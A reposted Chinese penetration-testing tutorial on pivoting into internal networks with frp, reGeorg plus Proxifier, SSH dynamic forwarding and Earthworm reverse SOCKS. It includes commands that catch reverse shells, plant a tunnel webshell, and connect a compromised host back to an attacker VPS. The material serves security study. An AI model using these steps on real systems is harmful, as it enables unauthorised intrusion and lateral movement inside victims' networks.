內網穿透之流量代理轉發


在進行滲透測試時經常會遇到目標在內網或者不能直接訪問的情況,這時候就需要將我們的流量代理進目標內網,下面介紹幾種流量代理/端口轉發方法。

frp端口轉發

使用frp將本地kail的端口映射到公網的端口上,這樣在對公網機器進行反彈shell的時候,就可以將要反彈的地址改為公網對應的地址和端口,就相當於反彈到本地的kail端口上。這里說兩種方法1.使用frp, frp 是一個可用於內網穿透的高性能的反向代理應用,支持 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支持了點對點穿透。

  • 下載frp可執行包
wget https://github.com/fatedier/frp/releases/download/v0.32.0/frp_0.32.0_linux_amd64.tar.gz
  • 解壓
tar zxf frp_0.32.0_linux_amd64.tar.gz
  • 進入文件
cd frp_0.32.0_linux_amd64/


1.客戶端也就是需要被端口映射的客戶端需要配置frpc.ini

server_addr為公網ip,server_port為服務端和客戶端通信端口。下面的為我們配置的具體服務,我們需要1234端口監聽反彈的webshell,所以設置1234為轉發的端口,如果有流量經過服務端的1234端口,那么就會轉發到我們內網攻擊機的1234端口
2.配置frp服務端
frp服務端需要配置frps.ini,只用簡單進行配置通信端口,就是客戶端設置的server_port

利用方法:
在進行反彈shell之前,先在服務器開啟我們的frp
啟動:./frps -c frps.ini

再啟動客戶端
啟動:./frpc -c frpc.ini

再看服務端響應成功

然后msf設置監聽本地1234端口,run

之后生成反彈碼的時候,將反彈的地址設置為服務器對應的地址和端口,然后我們本地的msf就會收到反彈的shell

當在靶機運行了oo.exe后,可以看到,成功反彈

reGeorg+Proxifier

reGeorg 是 reDuh 的升級版,主要是把內網服務器的端口通過 http/https 隧道轉發到本機,形成一個回路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。它利用 webshell 建立一個 socks 代理進行內網穿透,服務器必須支持 aspx、php 或 jsp 這些 web 程序中的一種。
reGeorgSocksProxy由服務端和客戶端兩部分組成。服務端有php、aspx、asph、jsp、node.js等多個版本,客戶端則由python編寫。其工作原理可簡單描述為python客戶端在本地監聽一個端口,提供socks服務,並將數據通過http/https協議發送到服務端上,並從服務端上用socket實現轉發。
在內網滲透中,由於防火牆的存在,導致我們無法對內網直接發起連接,因此就需要端口反彈,如果進一步對內網其他主機進行滲透,就需要通過內網的代理,才能對其他主機進行掃描,滲透。但有些情況下目標機器不允許開放其他端口,只有80或8080端口。我們權限也不允許修改這一限制,那么我們就可以使用這套組合(reGeorg+Proxifier)代理來將我們后續滲透的流量代理到目標內網主機。

實驗案例

1.上傳tunnel.nosocket.php
外網攻擊機:192.168.114.1
web跳轉機:外網ip:192.168.114.129,內網ip:169.254.100.5(可通過vm設置雙網卡實現)
內網目標機:內網ip:169.254.100.160
在實戰中需要找到上傳點或者獲取shell之后再將文件上傳,這里直接將文件tunnel.nosocket.php放到網站根目錄下(php這里分為有socket與無socket的,tunnel.php需要使用dl()函數加載socket模塊),然后訪問,出現如下畫面即表示正常

2.本地執行cmd
(1)reGeorg 需要Python2.7,還需要urllib3模塊的支持,然后執行

python reGeorgSocksProxy.py -p 8888 -u http://192.168.114.129/tunnel.nosocket.php


(2)再打開Proxifier代理工具設置代理:Profile-proxy servers:設置:192.168.114.129:80 socks5代理

(3)再打開代理規則進行配置,設置那些軟件的流量經過代理,那些軟件流量直連,如果要讓瀏覽器可以直接訪問內網的web應用,那么就配置瀏覽器經過代理,其他不經過代理的軟件就設置direct模式(直連)

注意配置代理規則時將python.exe設置為direct模式,不然會死循環。

設置好之后就可以通過代理直接訪問內網服務。

遠程連接桌面

SSH端口轉發

創建ssh隧道的常用命令參數如下:

-C:壓縮
-f:將SSH傳輸轉入后台執行,不占當前的Shell
-N:建立靜默連接(建立了連接,但是看不到具體會話)
-g:允許遠程主機連接本地用於轉發的端口
-L:本地端口轉發
-R:遠程端口轉發
-D:動態轉發
-P:指定SSH端口

1.遠程動態端口轉發
有一台內網機器,內網22端口映射到公網221.xx.xx.xx的44364端口並且只有這個路線能出網,有ssh賬號密碼,要設置socks代理隧道。

ssh -CfNg -D 1111 hack@219.153.49.228 -P 44866

使用這個命令之后就使用ssh建立了一個socks4/5代理 -D命令在本地建立一個監聽端口(隧道)將接收到的流量轉發給自己的52826端口,再通過52826端口將流量發送給發送給目標的22端口,這就是ssh動態轉發,所有可以通過socks4/5代理的流量都可以通過加密通道進行代理訪問。

使用ew+SocksCap穿透目標內網

EarthwormEw(Earthworm)是一款當之無愧的內網穿透大殺器,應用的平台非常廣泛,包括:

ew_for_Win.exe        適用各種Windows系統(X86指令集、X64指令集)      Windows7、Windows XP
ew_for_Linux32        各常見Linux發行版 (X86 指令集 CPU)         Ubuntu(X86)/BT5(X86)
ew_for_linux64        各常見Linux發行版 (X64 指令集 CPU)        Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64        MacOS系統發行版 (X64 指令集)            蘋果PC電腦,蘋果server
ew_for_Arm32           常見Arm-Linux系統                      HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel              常見Mips-Linux系統 (Mipsel指令集 CPU)        螢石硬盤錄像機、小米mini路由器(R1CM)

下面簡單介紹一下它的應用場景,更復雜的情況在官網有介紹。

1、正向socks v5服務器 【適用於目標機擁有一個外網IP】
服務器端執行以下命令:

ew.exe -s ssocksd -l 888

說明:服務器開啟端口為888,SOCKS的代理。然后使用sockscap64添加這個IP的代理就可以使用了。
2、反彈socks v5服務器 【適用於目標機器沒有公網IP,但可訪問內網資源】
本地執行以下命令:

ew.exe -s rcsocks -l 1008 -e 888

說明:該命令的意思是在我們公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉交給888端口。
服務器端執行以下命令:

ew.exe -s rssocks -d 2.2.2.2 -e 888

說明:該命令的意思是在服務器上啟動SOCKS V5服務,並反彈到IP地址為2.2.2.2的服務器888端口上。

實驗案例

本次環境用的是第二種
測試目標機器沒有公網IP,但可訪問內網資源。

  • ① 在我們公網vps上運行以下命令
./ew -s rcsocks -l 1260 -e 1261

添加轉接隧道,把1260端口收到的代理請求轉給1261端口

  • ② 然后我們通過cs在目標機上上傳ew,在cs中執行:
ew.exe -s rssocks -d 148.xx.xx.xx -e 1261(148.xx.xx.xx為公網vps)

注意:這里在本地開啟SOCKS5服務,並與vps的1261端口建立連接,服務器就會把攻擊者的代理流量發送給本地(就是內網機器)

這時候公網vps上就會顯示連接成功

  • ③ 接下來就可以用剛剛轉發出來的端口來接受代理請求了。
    方法一:通過SocksCap64連接設置的代理


    之后再添加要在socks隧道中運行的程序,該程序即可通過socks進入目標內網。
    方法二:可以瀏覽器設置Socks5代理或者kali通過proxychains代理來訪問目標內網服務
    Chrome瀏覽器設置Socks5代理(其他瀏覽器同理)

    此時已經可以通過瀏覽器訪問內網web站點

proxychains-ng(proxychains的升級版), proxychains無法使用Tor代理

方法三:在linux上可以通過proxychains-ng來讓流量通過代理
下載地址:https://sourceforge.net/projects/proxychains-ng/files/
不建議使用命令行下載有點慢,建議瀏覽器下載。之后解壓並在解壓目錄打開命令行。
執行以下代碼:

./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config

之后配置代理鏈

vi /etc/proxychains.conf
socks5 148.xx.xx.xx 1260


配置完后 測試內網穿透是否成功

成功了,這就是目標機器的127.0.0.1站點內容。
proxychains4配合nmap還可以對目標機器進行進一步內網探測,這里就不贅述了。

本文所有內容只用於學習與交流,嚴禁用於非法用途,產生一切后果與本人無關。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM